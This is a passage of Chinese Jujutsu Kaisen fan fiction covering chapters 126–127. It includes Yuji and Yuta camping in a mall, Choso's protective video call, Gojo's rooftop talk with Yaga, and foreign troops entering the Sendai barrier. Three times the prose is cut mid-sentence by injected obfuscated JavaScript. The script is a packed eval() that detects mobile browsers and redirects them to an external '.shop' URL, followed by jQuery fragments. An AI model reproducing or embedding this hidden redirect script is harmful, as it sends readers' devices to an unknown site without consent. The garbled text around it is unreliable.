“甘井?我们准备走了,”虎杖悠仁看向甘井凛,“地下一层有一个大型商超,里面应该能找到被褥和枕头之类的用具,或者楼上的电影院附近会有按摩椅之类的,可以将就一晚。至于你的事......”
他说着将目光向侧面挪了挪,乙骨忧太自然地接上了他的话:“尽管你只是被死灭回游波及到的人,但现在已经算是术师了。如果不介意的话,我可以帮你介绍一下咒术界的人。在现在的状况下多少还是能给你提供一些帮助,当然他们应该也会需要你帮忙做些力所能及的事。”
“总比你独自面对这些事要轻松一点。”虎杖悠仁说道。
甘井凛有些犹豫:“但是我的术式其实没什么用,根本不能用来战斗。”
说是帮忙,但应该也不会需要一个只能创造出糖分的新手吧?打暑假工的时候他就知道不会有人愿意雇佣一个没什么经验又干不长久的临时工的。难道他们口中的咒术界也会需要甜点师吗?
“没关系的,”乙骨忧太消解了他的焦虑,“大家都是很好的人。”
三人在寿司店前分别,甘井凛准备下到地下一层去商超看看有什么用得上的东西,乙骨忧太和虎杖悠仁决定找个合适的地方“露营”。
“没想到第一次用上它们居然是在这种地方......悠仁,把杆子给我吧。”
他们挑了一个商场里的儿童乐园,帐篷搭建起的地方隔壁就是一池海洋球。虎杖悠仁将最后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378264|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一根撑杆递给了乙骨忧太,打量着池子里各种颜色的塑料小球。
他小的时候只在老家最繁华的商场里去儿童乐园玩过一次,但小孩子的新鲜感总是很快就会被消耗得一干二净,商场里一成不变的乐园设施也远没有那座城镇里的其他地方吸引他,所以也就只玩过那一次。
当时他就问过爷爷这些池子里的小球为什么要叫海洋球,但即便得到了解答也不解其意,毕竟那时根本没见过海嘛。
走在装满彩色小球的池子里,双腿会有和穿越浅滩时相似的沉重感。
被捡起来的一颗塑料球散发着灰尘的味道。虎杖悠仁将散落在池子外面的球逐一捡起扔了回去,把帐篷附近的地面收拾干净。
乙骨忧太转到帐篷外面来之后,他们两个人一起对着安装说明书研究了半天。实在看不太明白,他们干脆跑到了隔壁的店铺里对着支好的帐篷比划了一番,这才搭完了他们自己的那一顶。
其实并非安装说明书上标注出来的步骤有多么晦涩难懂,只是偶尔思维会像刚才那样陷入死角,但显然今天这个角落有点太过拥挤了。
“吃完饭总会有一阵子感觉脑袋懵懵的……”虎杖悠仁敲了敲后脑。大概是因为氧气都供给给胃部消化食物了?
总之这个小小的庇护所就这么搭起来了,乙骨忧太和虎杖悠仁都很满意。
帐篷里不方便靠坐着,所以他们直接并排躺了进去。
商场的照明灯一直开着,虎杖悠仁找了一圈都没看见开关,最终也只能任由它们这样亮着了。
虽然觉得应该不至于,但他还是问了乙骨忧太会不会受到影响,在得到否定的回复后彻底放下心来。
帐篷顶层的布料遮光效果意外还不错,只是会有微小的亮点像是星星一样散落在上面,光亮最明显的那个方向看起来和月亮一样。
“我仔细想了一下,悠仁。”乙骨忧太和虎杖悠仁没有即刻入睡的想法。虽然他们本来的目的就是找个地方好好休息,但在这之前乙骨忧太觉得还是得将一些事情彻底说清楚。
虎杖悠仁认为白天的争吵已经彻底结束,但他也早就明白乙骨忧太不是会轻易放弃的人。
粉发少年从亮着的手机屏幕中收回注意力,侧过头,用目光示意他继续说下去。
乙骨忧太的头发散着落在了枕头上,远不如他站立时那般服帖地待在脑后:“胀相在涩谷听到羂索亲口说过那个术式是通过更换大脑来达到支配肉|体的目的,先不论他如何支配一具死去多时的身体,但被舍弃的原本的身体在失去大脑之后不会立刻死亡......”
控制呼吸的神经信号中断,在最初的一两分钟里心脏还能勉强维持跳动,之后的几分钟内全身的器官就会随着缺氧与血液循环的终结而彻底停止运作。
“反转术式也可以延长身体奔向的死亡时间,你想这么说?”帐篷里只有虎杖悠仁的手机屏幕发出光亮,等到它自动息屏之后,这片狭小而亲密的空间里就只剩下了顶部打进来的微弱灯光。
比往日颜色更深一些的琥珀眼睛直视着乙骨忧太,它们的主人语气平淡地说:“那我知道了。”
虎杖悠仁翻了个身,将后背留给了乙骨忧太:“我讨厌那个人的一切,所以这件事就到此为止。”
把脸藏进黑暗中后才敢放松自己,露出他也不知道混杂着什么样感情的复杂表情。
一只手试探性地搭在了他的手臂上,没有得到任何反馈,于是放心大胆地将整个身体都靠了过来。
没有人觉得冷,但都在贪恋着这样令人安心的温暖。
虎杖悠仁突然轻声说道:“能够贯彻自己意志的人得有多么强大的心脏啊。”
不论正确与否、不论是否有意义,只要确认了脚下的路就会靠着“一定要走到尽头”的气势大步奔跑起来,虎杖悠仁很羡慕他们能够拥有毫不动摇的决心。
搭在肩膀上的手挪到了脸颊,手指轻轻拂过眼睛,最后落在了前额、拨弄着纷乱的头发。贴着脑门的皮肤还是散发着一点凉意,被虎杖悠仁捉住之后捂在了掌心,试图让它们变得热乎起来。
“抱歉,我跟你提这件事不是因为白天的原因,”身后的人说,声音清晰而有力,“毕竟悠仁已经狠狠把我‘打醒’了嘛。”
窸窸窣窣的衣服摩擦声响起,虎杖悠仁梗着脖子回过头。
乙骨忧太顺着他的力道收回手臂,这下他们改回了面对面的姿势。黑发少年斟酌良久,说道:“悠仁劝我的话,对你自己来说也是一样的啊。”
但这不怪虎杖悠仁,人在面对与自己有关的事时总是更难看清一些,明明劝慰他人的话语放在自己身上也依旧适用,但要是想等自我察觉的那一天却要付出相当的代价。
“来这边的路上我一直在想,我觉得你应该也是一样的。”
虎杖悠仁听着,没有说话。
“不要回头,尽情向前跑吧。”
你期盼我能拥有的勇气,我希望它同样祝福着你啊。
126. 第 126 章
这话大概比“我会永远爱着你”更令虎杖悠仁心动吧。刹那间触动心弦留下的余音冲入了大脑,他刚想说些什么,却被突然亮起的手机屏幕打断了。
“......视频通话请求?是胀相啊。”他想也没想就点下了同意。
在等待电话被接通的那几秒钟里,乙骨忧太动了动,在他颈窝附近找了个舒服的角度把脑袋搁了进去,压住了虎杖悠仁的一只手,所以他只能微微侧过去单手举着手机。
九相图们的面容很快便出现在了屏幕上,看上去是胀相在操作手机,坏相和血涂只在后面露出了一个脑袋。
他们在东京结界附近找了一个落脚点,据胀相说是个连家具都没有的空房子,这附近是咒灵活跃的区域,看样子房主人也不会轻易回来了。
“只是暂住,”胀相那边的信号不太好,说话断断续续的,“坏相带着血涂稍微把这里收拾了一下。”
他侧开身子,原本空无一物的客厅里已经多出了桌椅和沙发,没有被摄像头照到的地方应该也多了一些家具。
“看上去挺不错的诶!”虎杖悠仁夸赞道。
“悠仁,你那边为什么那么暗?”胀相凑近手机屏幕,眯着眼睛通过模糊的画面仔细分辨着虎杖悠仁那边的情况,但苦于低画质和阴暗的背景,他只能勉强看清粉发少年的面部轮廓和手机屏幕映射到他脸上的灯光。
“正准备休息来着,在帐篷里呢,看着会暗一点吧。”
胀相觉得弟弟举手机的角度有点奇怪,下巴上那片黑色的阴影又是什么东西?然后他像是所有长辈关爱后辈一样随口问道:“你一个人?晚上小心咒灵。”
虎杖悠仁挠了挠脸颊,眼神不自觉地向斜下方瞥了一下。
胀相警觉。
天知道他为什么突然在这个时候变得敏锐起来,从虎杖悠仁的反应和下巴附近令人疑惑的黑色阴影中立刻判断出来乙骨忧太绝对也在,甚至现在就躺在虎杖悠仁身边。
“——我不同意!!!你们还太小了我绝对不同意!!!”
虎杖悠仁笑得有点拿不稳手机,视频里胀相的脸被可恶的信号延迟卡得一顿一顿的,声音也滑稽得很,但那股气势还是透过手机传到了仙台的两人耳中。
乙骨忧太稍微抬了抬头,露了一双眼睛出来。哪怕只是一闪而过,还是被激动起来的胀相捉住了:“不许对我弟弟出手!!!姓乙骨的混蛋......别以为你救了悠仁我就——那是两码事!!!”
偏偏血涂还在那边天真地问:“大哥,谁要和悠仁打架啊?”
“诶——明明之前一直一副接受良好的样子......”虎杖悠仁捂着嘴巴偷偷和乙骨忧太说,得到了没有出声的哼笑作为回应。
胀相最开始的确因为不明白才没什么太大的反应,但现在的他已经完全不同了。不说被兄弟们拉着看的家庭肥皂剧、爱情电影或者搞笑节目,单论他为了成为人类而主动投向这片大地上芸芸众生的视线就让他慢慢地变得“鲜活”。
尽管依旧在和陌生人相处时有些沉默寡言,但待在熟识的家人身边就完全变成了另一幅模样,会为了不得不分开行动的兄弟担忧,会顾及旁人的情绪,会开始思考诞生自负面感情的咒灵们从不会在意的、属于人类的情感——大概是爱吧。
看着那从虎杖悠仁的眼中时不时冒出来的光,胀相慢慢领悟着。
他说起另一个人的时候总是很开心,从一开始只会在胀相他们问到时才会蹦出一两句到后来的主动分享,胀相觉得这不光是一种被接纳、被认可的反馈,更是两颗分开的心逐渐重新靠拢的见证。
他还记得是虎杖悠仁过生日的那天晚上,粉发少年第一次笑着和他们说:“以后我把他介绍给你们吧!”
但是他大概在宠爱弟弟们这一点上有着天然的责任感,并且以此作为自己前进的强大驱动力。如果乙骨忧太只是像伏黑惠一样的普通朋友,兄长力爆膨的胀相可不会这样对他们之间的关系斤斤计较。
因为他爱着他的兄弟们,观察人类的这短短的时间里也足以让他认识到“爱”究竟是怎样沉重的感情。它能让人落地生根,不再如同无根浮萍一般在世上流浪,但它同样也能成为相互伤害的凶器,将爱与被爱的人都刺得遍体鳞伤。
所以哪怕这副唠叨又挑剔的模样会让悠仁觉得反感,他也必须挑着眉毛一遍又一遍地威胁那个黑发的小子,试图以这种方式守护弟弟在爱情中不会受伤。
那模样简直就像是目送小孩子第一天离家去上幼稚园的家长,孩子们大概还没什么实感,溺爱又感性的大人们反而眼泪汪汪。
“我知道了啊,我们不会乱来的,”虎杖悠仁安抚着胀相,那个称呼已经能够非常顺口地说出来了,“哥哥。”
虎杖悠仁实在是个非常敏锐又真诚的人,在面对笨拙地关爱着他的家人时知道应该做些什么、说些什么才能让他们更安心一些——尽管现在的状况只是为了安慰有点太过激动了的兄长,而且可能是因为撒谎了缘故,他特意用上了平日从未说过的读法。
脱口而出的这个称呼让电话这边和另一侧的两个人全都被击倒了。
胀相挂断了电话,抬手捂住眼睛。
血涂只是单纯地在为悠仁称自己为“尼酱”而感到开心,坏相拍了拍已经泪流满面的九相图兄长:“明早再出发吧。”
胀相虽然感动到落泪,但还是坚决要求立刻出发去仙台!
虎杖悠仁关上手机之后才察觉到乙骨忧太似乎从刚才开始就有点太沉默了。他摸了摸鼻子,思维还晃荡在刚才对胀相说的谎上面。胀相说他们太小了的那些事......已经全都做过了啊!
身边的人动了动,将他跑得太远的思维拉了回来。
虎杖悠仁花了点时间才适应了帐篷里重新变暗的光线,也终于清楚地看见了乙骨忧太翘起的嘴角。
“......你又想到什么事了,笑得这么开心?”
黑暗和不断拉近的距离让他们都变得坦诚了一些,乙骨忧太直白地说:“我还是第一次听悠仁这么说诶。”
“我那是......!毕竟说谎了所以就......!”虎杖悠仁转着眼睛,热腾腾的心瞬间理解了能让乙骨忧太这样说的原因:“我是在叫胀相他们而已!”
“你小时候就不肯这么叫我。”
面对突然开始翻旧账的乙骨忧太,虎杖悠仁再次确定这个人有的时候就是有点恶劣的小心思:“你该睡觉了乙、骨、前、辈!!”
他的手劲随着身体的成长而逐渐变得更加惊人,但通常他都能极好地控制自己的力量不至于让它们无意间伤害到其他人,而此时他有点恼羞成怒——也可能只是被乙骨忧太调侃得有点太羞耻了——一把将黑发少年塞回了身边的被子里,像是八爪鱼一样压着他赶快入睡。
乙骨忧太被压得有点喘不过气来,连连拍他的胳膊才得到了喘息的空间。
虎杖悠仁让自己冷静了一些,最后以双手交握放在腹部的姿势躺好了。
“他是个好人。”乙骨忧太又一次这样评价道。
“嗯哼。”
虎杖悠仁由衷地为胀相他们感到开心。
帐篷里的空间不大,伸直双腿的话刚刚好。
他们总是这样挨着入睡,但帐篷中的狭小空间让抵足而眠的安全感不会轻易散去,创造出了一个仿若与世隔绝的休憩之地。
乙骨忧太很快就睡熟了。
虎杖悠仁反倒有些辗转难眠。身下铺着的被褥自然比不过旅馆的床垫,枕头也硬邦邦的,若论舒适度的话可能连夜间巴士都不如。但躺着的时候总会有一种难言的松弛感,哪怕只是孤身躺在僵硬的水泥地上时也一样。
什么都别想了。
他闭上了眼睛。
——
伏黑惠抽空给津美纪打去了电话。现在还不算晚,他刚刚从LINE上收到了津美纪叮嘱他要好好休息的信息,回拨过去果然很快就接通了。
他还没想好该怎么和津美纪解释伏黑甚尔死而复生的这件事,或者干脆就这样瞒着她,像是把她和咒术界完全分割开那样似的,让她远离一切与这边有关的事。
“小惠?你还没有休息吗?”
“马上就去。你那边没事吧?”
伏黑津美纪那边传来了隐隐约约的猫叫声,之后她似乎在房间里走动着,回道:“我这边一切都很好,我也有关注新闻、从来没有靠近过结界、没有陌生人来找过我,一切你叮嘱的事情都在意着,所以就放心吧。”
他们又聊了些别的,最后在津美纪要求伏黑惠立刻去休息之后挂断了电话。
聪慧的少女早已听出了什么,但她决定尊重伏黑惠的选择。不管是那些奇怪的嘱托还是频繁的通话,比起从中捕风捉影,她更关心伏黑惠语气中不自觉流露出来的疲惫。
还是不要让他有太大压力好了。伏黑津美纪抚摸着黑白小猫的脊背,默默想道。
“伏黑,你姐姐不是咒术师吗?”人来人往的大厅中,坐在半圆形沙发对面的来栖华斟酌了半天,最终还是问了出来。
伏黑惠点开了其他人的聊天框一一查看有没有漏掉的消息,一边回复道:“她跟咒术界没关系。来栖……你跟乙骨前辈他们怎么认识的?”
来栖华和天使追着万的气息一路跟到了鹿儿岛,而伏黑惠在听到禅院直哉的结局时稍微惊讶了一瞬,但也仅限于此。
“所以他当时说大家都有自己要做的事,原来是这个意思啊。”天使突然插话道。
“什么?”
尽管都是第一次遇到狱门疆,但身经百战、术式又如此独特的天使自然察觉到了表与里之间的关系,来栖华至今都不明白当时究竟发生了什么。
西宫桃扔到“雅各布天梯”中的那个只是钥匙,真正的出入口一直藏在乙骨忧太的式神体内。
里面被封印的对象……白发的六眼术师,也就是来栖华记忆中和伏黑惠一起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378265|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出现过的那个人。
天使转换了话题:“堕天的这次受肉已经被消灭了,但这世上终究还是有他的力量存在着。”
不管是虎杖悠仁还是被藏起来的最后一根手指,只要还有名为两面宿傩的诅咒存在着,诅咒之王就终有再度降临的那一天。
“接下来就让华和你们一起行动吧。你大概还不知道,华其实对你……”
来栖华扑腾着打断了天使的暴言,将话题拐走了:“呜哇——?!停停停——!!我、我的事先放在一边啦,倒是伏黑,你们接下来准备怎么办?”
“……五条老师刚出来,现在应该在天元大人那边,”伏黑惠叹了口气,扬起后的脸上带着点难说是放松还是更困扰了的表情,“怎么也得想办法赶快结束死灭回游吧。”
羂索就在仙台。
五条悟没去薨星宫,他走在旧校舍的走廊里,伴着夜色慢悠悠地踱步。
待在狱门疆里时很容易让人混淆时间的界限,那里没有物理意义上的时间流动,在脱离封印之后大脑却会像是持续工作了很长时间一样,和中了他自己的“无量空处”似的。
“啊,校长!真巧啊,你也大半夜来这里散步吗?”拐上天台的时候,五条悟发现了独自靠在天台栏杆旁边望着月亮的夜蛾正道。
“怎么不去见天元大人?”夜蛾正道叹了口气。
“现在见了也不知道该说什么好啊,”五条悟和夜蛾正道并排站在了栏杆旁边,黑暗中的高专校园静悄悄的,学生们和其他咒术师都在‘窗’的总部,留在这里的都是护卫天元和薨星宫的力量,“......我应该是个体贴学生的好老师吧?”
若论成为教师的资历,他自然比不上将大半辈子都赋予教师这一行业的夜蛾正道,也正因如此他才会在这种时候选择找自己曾经的老师聊一聊。
外表看上去像是个黑|道头头、走在路上会被路过的小朋友们叫大叔的夜蛾正道其实是个心思很细的人,如果算上戳毛毡制作咒骸的手艺也能衬得上一句“心灵手巧”的评价。
身为教师,自然应当肩负起引导学生们走入正途的责任。
“你想说乙骨?”夜蛾正道顿了顿,补上了一句:“当年他入学的事情可是你一手促成的,连我的‘入学测试’都免了。”
言下之意大概是如今的局面五条悟本人应当早就有自觉才对,现在跑到天台上吹冷风倒显得有点不太像他的作风了。
五条悟没戴眼罩。他靠在栏杆上单手撑着脸,坦然地说:“我的梦想是培养一群可靠的学生们,看着他们成为改变这个咒术界的中坚力量。光靠我一个人可不行啊。”
这些年秉持着“只要强就行”的态度从各种地方捞回来不少有天赋的孩子,也好好地尽到了教师的职责教授了咒术的知识、引导着他们向正确的方向走。
只是......
“我好像真的还没想好应该往哪里去啊,校长。”
这话他似乎在什么时候跟家入硝子说过,当时的口吻听起来像是在开玩笑,但同期却说他们都是自私的混蛋。教导乙骨忧太“力量可以突破规则”的话也是他亲口说的,身为教师倒是很欣慰他的学生们都有了各自的目标,也不会阻拦他们身体力行地去做自己想做的事。
但是“五条悟”又是怎么想的呢?
“最强”又想要做些什么呢?
这时难免让人想起与夏油杰分别的那天,黑发挚友问他的问题。
夜蛾正道打断了他逐渐被过去包裹的思绪:“乙骨现在和虎杖一起行动,甚至为了让虎杖见到天元大人而独自和九十九在薨星宫外战斗......究竟是什么原因让他们如此执着地想要开启全人类和天元大人的超重复同化?他们有没有可能和羂索联手?”
乙骨忧太和虎杖悠仁现在也是泳者了,而且就在仙台结界周围,难免不让人联想到这个可能性。
“这才是让我这么沮丧的原因啊,”五条悟夸张地叹了口气,大方地承认了,“学生们都有了自己的想法,我作为老师明明很欣慰的,但是不被信任就太让人伤心了。”
夜蛾正道沉默了半晌,说道:“也许是不想让你觉得为难吧。”
只有对错两种选项的题目连作答的结果也只有这两种,比起令人头晕脑胀的开放题要好答得多,死板得很省心。
“......”
什么啊。被丢下的人只值得这两个无聊的选项吗?
“......哈哈,真不愧是跟着他长大的孩子啊,连这种方面都一模一样吗?”
这到底是不被信任,还是被信任过头了呢?五条悟与最强,这两个词自从被组合到一起之后就难解难分,所以在夏油杰问他究竟“因为是五条悟所以最强,还是因为最强所以才是五条悟”的时候没能回答出来吧?
夜蛾正道拍了拍他的肩膀率先离开了,留下五条悟一个人独自站在天台上沉思着。
这片夜空聆听了太多人无声的肺腑之言。
127. 第 127 章
虎杖悠仁往常是个能在新年烟火声中安然入睡的人,但今天他一睁开眼睛就意识到他是被“吵醒”的。
噪音的声音并不明显,但虎杖悠仁还是在睡梦中清晰地将它捕捉到了。
坐起身时发现乙骨忧太还安然在自己身边熟睡着,他打开手机看了一眼,现在才刚凌晨三点左右,左思右想屏息竖起耳朵听了半天,他竟然觉得自己听见的声音像是飞机的噪音。
结界的存在让仙台机场早就停止运营,所有的航班都避开了这附近的空域,怎么可能还会有飞机靠近呢?
社交媒体上还没有任何与这奇怪的声响有关的消息,而且听起来它们正在逐渐靠近这边。
虎杖悠仁回头看了看乙骨忧太,犹豫了两秒,最终还是将他叫醒了。
“我觉得有点奇怪。”他眼带歉意说道。
乙骨忧太摇了摇头:“没事,我已经休息好了。”
就在他们收拾被褥和帐篷的时候,那些噪音变得再也无法忽视,似乎天上和地下都有什么东西在往结界的方向靠近。在扶梯的附近他们隔着好几层看到了下面同样被吵醒、出来查看情况的甘井凛。
“这个声音......直升机?难道是政|府的人?警察还是军人?”甘井凛提高了一些音量,尽管噪声还不至于让他们听不到彼此之间的声音,但他还是下意识地大声了一点。
“不管是什么人,贸然进去的话都很麻烦!”乙骨忧太跑在前面上了顶楼,找到了通往天台的楼梯,直接踹开上了锁的大门来到平台上观察情况。
虎杖悠仁抬头,就着月光看见了正在没入结界的军用运输机的尾巴。
甘井凛扒在栏杆旁向下张望,不可置信地说:“这些人是军人吧?但是他们看起来不像是术师,可毕竟手里有枪,术师们......”
他以前倒是从未思考过这个问题,面对咒术的时候人类开发出来的热武器能够发挥多少作用呢?
“我们倒是遇到过被枪杀的术师,他还是个速度极快的家伙,却也在意想不到的地方被击中了太阳穴。”虎杖悠仁想起了禅院直哉的结局。他不知道眼前的这些军队究竟是他们本国的还是从其他哪个国家过来的,但仙台结界里的泳者们可不像禅院直哉一样会大意。
他们都是货真价实在各个时代厮杀出来的强者,子弹与火药虽然对他们来说也是个新奇玩意儿,可终究难以伤其根本。
地面上的车队也浩浩荡荡地一辆接一辆驶入了漆黑结界的幕布之后,不见了踪影。
“你觉得他这是想要做什么?”乙骨忧太皱着眉,没头没尾地问道。
他和虎杖悠仁不约而同地认定了这是羂索准备的下一手,如果是单纯地为了搜寻存活的泳者或者进入结界祓除咒灵的话,他们不需要这么多人也不需要在这个时间点行动。
从车厢摇摆的幅度来看,其实坠在车队最后的两辆车上应该是空的。
虎杖悠仁也想不明白,没等他有所动作,忽然有一道黑影从结界的半空中飞了出来。
机械零件发出不堪重负的悲鸣,比螺旋桨击碎空气的声音更直接地传入了虎杖悠仁等人的耳朵里。庞大的军用运输机就像是一个玩具一样被“巨人”从结界里丢了出来,眼看这个机械造物就要失控坠向地面,甘井凛还不知该如何是好的时候,突然感觉到身侧闪过了一道狂风。
闭眼睁眼之间,粉发少年已经三步并作两步,一段助跑后直接一跃而起,跳入夜空。
虎杖悠仁他们和运输机之间的距离离得稍微有点远,他两个重踏踩着顶楼越过了一整条街道,势头停下来之前被白色的式神托住了双脚。
早就被车队和运输机经过的声音吵醒的安置点里亮起了一盏盏灯,佐佐木披上衣服跑出棚子,巨大的阴影将她和她身后诸多一同出来的人笼罩进了黑暗之中。
“......诶?”
显然那辆运输机已经不会再乖乖听从驾驶员的操作,它在空中姿态诡异地打着转,因为失去了动力和遭到的不明袭击导致它正在持续降低高度,按照这个势头继续下去的话连迫降都做不到,最终只能坠入面前的这片安置点机毁人亡。
尖叫声在佐佐木耳边响起,仅仅是一眨眼的时间,半空中的那个大块头就在她的眼中变大了数倍,像是陨石一般径直砸向了他们所在的地方。
她想要扭头拉上父母赶快逃走,曾经历过生死劫难的记忆让她击败了锁住双腿的恐惧,没有像身边的那个人一样直接瘫坐在地动也动不了。
但是那东西来得太快了,佐佐木已经听到了螺旋桨可怕的轰鸣声,被打中的话绝对会直接被削成碎块的吧?!
之前遇到咒灵是因为她和井口打开了“不可触碰”的东西,但她绝对不想不明不白地死在这样的意外里!!!
生死之间,佐佐木的大脑一片空白。她的身体突然轻盈得不可思议,仿佛轻轻一跃就能脱离大地的束缚变成蝴蝶留在半空中。她向下张望,发现自己的双脚居然真的离开了地面。
究竟是一瞬间的时间被拉到了无限长,还是又遇到了什么科学无法解释的事情,佐佐木已经完全没办法思考了。
她听到了一声沉重的坠响,仿佛废铁在液压机下扭曲变形时发出的咯吱声简直要刺破鼓膜一样折磨着所有人的耳朵。
虎杖悠仁自己也被惊出了一身冷汗。
【反重力机构】只能让运输机不再加速坠落,真正让这个庞然大物完全停下来的是死死抓住了机头的白色式神。踏着它的肩膀来到半空中的乙骨忧太挥刀切碎了致命的螺旋桨,崩飞的碎片落入术式范围内后也漂浮了起来。
“我要放手啦!”里香松开了运输机的同时,虎杖悠仁也解除了术式。机长约二十米左右的运输机落地时掀起了无数扬尘,和它一样重新落回地面的佐佐木被脚下传来的震荡摇晃得失去了平衡,跌倒在地。
正当她惊魂未定地喘息着的时候,一只手将她拉了起来:“你没事吧?抱歉,刚才我没来得及考虑你的位置,把你卷进来了。”
“诶、啊,没......我才要多谢你!!”
看佐佐木独自站好,虎杖悠仁转身准备去找乙骨忧太。下午的时候他就觉得佐佐木看着眼熟,现在终于想起来对方应该是在回收宿傩手指又遇到伏黑惠的那次被卷入其中的普通人之一。
运输机的表面出现了被里香扯住产生的变形,一侧的舱门勉强被人从里面破开,不少全副武装的人从运输机里跳了出来。
这群人......如今离得近了,乙骨忧太也清楚地意识到这些人都是十足的普通人,身上附着的咒力极低,一看就与咒术界毫无关系。最开始他也曾怀疑过也许是政府或者会有区别于总监部的一些咒术师团体在行动,可如今的情况却直接打翻了他的推测。
虎杖悠仁向前走了两步,说道:“我们接下来——”
他话音未落,乙骨忧太听到了一种又闷又小的声音。不像电视剧中的枪声,更像是小时候调皮的孩子会拿着用来打易拉罐的玩具枪发出的响动。
异样的电流声淹没在了粉发少年迅速旋身产生的风声中,虎杖悠仁挥手挡下了从后方射来的电击|枪飞镖,皱眉看向正举枪面对着他们的人。
那人满脸震惊,虎杖悠仁有点疑惑地嘟囔:“外国人?”
“——!!——?!”
发起攻击的人语速极快的和身后赶过来的队友说着什么,又将手里的枪举了起来示意给他们看。虎杖悠仁没太听清,但他看见了其他人手中的武器全都对准了他和乙骨忧太。
这些人是训练有素的外国|军人,不过他们似乎并没有预料到第一击会失手,刚从坠机的危机中恢复的战斗素养迅速在虎杖悠仁的意外反击中被重新激活,有人从死角处丢出了一个椭圆样的东西。
【御厨子】切开了那枚震爆弹,小范围的闪光与爆鸣在特种部队与虎杖悠仁他们之间炸开的时候,乙骨忧太拉住了他的手臂将人带上了里香的肩膀,迅速撤离到了更安全的地方,拉开了他们与这架运输机的距离。
尽管震爆弹因为被提前异常引爆而没能发挥出最大的作用,但虎杖悠仁离得还是太近了,在踏上里香的肩膀时他还在不停地耳鸣,缓了许久才勉强恢复。
“——他们是来抓捕泳者的!”乙骨忧太提高了一些音量,皱眉向下看着刚刚被他和虎杖悠仁联手救下来的那群人。
“......”虎杖悠仁的视线随着高度的上升重新落到了已经被家人带着向大部分安置人员所在的方向撤离的佐佐木身上,扫过地面上的运输机时有些赌气似的将这个大家伙直接切成了数段。
这支外国|军队看上去没有继续追过来的意思,所以乙骨忧太和虎杖悠仁向他们昨晚休息的商场撤去,过了一条街道之后在楼顶天台上看到了气喘吁吁的甘井凛。
初中是个不良、刚上高中没多久的黄发少年自然无法像日车宽见一样迅速领悟强化术或结界术,所以连越过楼顶之间的空隙都需要巨大的勇气和体力消耗。
虎杖悠仁落地后用掌根敲着自己的耳朵和甘井凛说:“那些家伙都是外国人,我看还都带着枪!”
好在电击|枪飞镖的发射速度远不及真正的子弹,让他有能够及时反应过来的机会。禅院直哉的事还是在他心中留下了太深刻的印象,让他意识到热武器的恐怖……它们也击穿了竖在术师与普通人之间的那张幕布。
咒术当然是古老的,术师们使用的强化术与结界术全部传承自千年前,他们继承的种种术式也多少带着过去的陈旧气息。在这样的环境中丧失了对于“除了咒术之外”的力量的警惕心,这些年有不少术师在热武器的面前栽了跟头。
“他们先用的电击|枪,看来是准备活捉泳者,”乙骨忧太还是有点疑惑,他总觉得有什么奇怪的地方,“甘井同学,你还是赶快离开这附近吧,最好能快点找到高专的咒术师们寻求帮助。”
甘井凛谨慎地点了点头,最后询问道:“那你们......”
乙骨忧太叫里香回到影子里,就在白色的式神消失在众人眼前的时候他突然恍然大悟:“那个驾驶员——他根本连咒灵都看不到!”
他终于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378266|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捉住了违和感的尾巴,解开了刚才一直困扰着他的谜题。
虎杖悠仁不解地问:“看不见......普通人没有经历过特殊的事,看不见咒灵也很正常吧?”
乙骨忧太抱臂摸着下巴,摇头分析道:“我的意思是这群人看上去根本不知道他们进去之后会面对什么。用电击|枪这种东西对付刚刚因死灭回游转化的泳者倒也罢了,但是更多的可是古代术师和咒灵啊!”
尽管这支外国特种部队一定还携带了真正的枪支,但在下手的时候也绝对没办法轻易将子弹射入术师们的体内。
枪杀禅院直哉的那个人是个“专业人士”。
甘井凛已经在一旁听得满头大汗,他好像这个时候才真正觉得事态严重了起来。虎杖悠仁一敲手掌,追上了乙骨忧太的想法:“你是觉得他们被人骗了?但也有可能根本就是没了解清楚就过来了吧?”
其实在虎杖悠仁进入薨星宫面见天元的时候,留在外面的九十九由基也向乙骨忧太说明了她自己对于咒力最优解这个问题答案的追寻之路。
黄发的特级咒术师不太赞成他们“让全人类拥有咒力”这一选择的原因之一,就是害怕这个国家会因为独占咒力这个能量资源而引来其他国家的觊觎。不管是羂索、九十九由基还是天元,他们口中的“全人类”目前都只是特指这个国家的国民而已。
乙骨忧太当时没有反驳。
他和虎杖悠仁希望完成的同化并非九十九由基认为的那样,而且让人类拥有咒力也不代表想让所有人都成为术师。他们期盼着一种介于普通人与术师之间的暧昧状态,稀薄但不稀缺的咒力可以让负面感情不再形成诅咒,也不会强大到让所有人都成为能够驱使咒力战斗的术师。
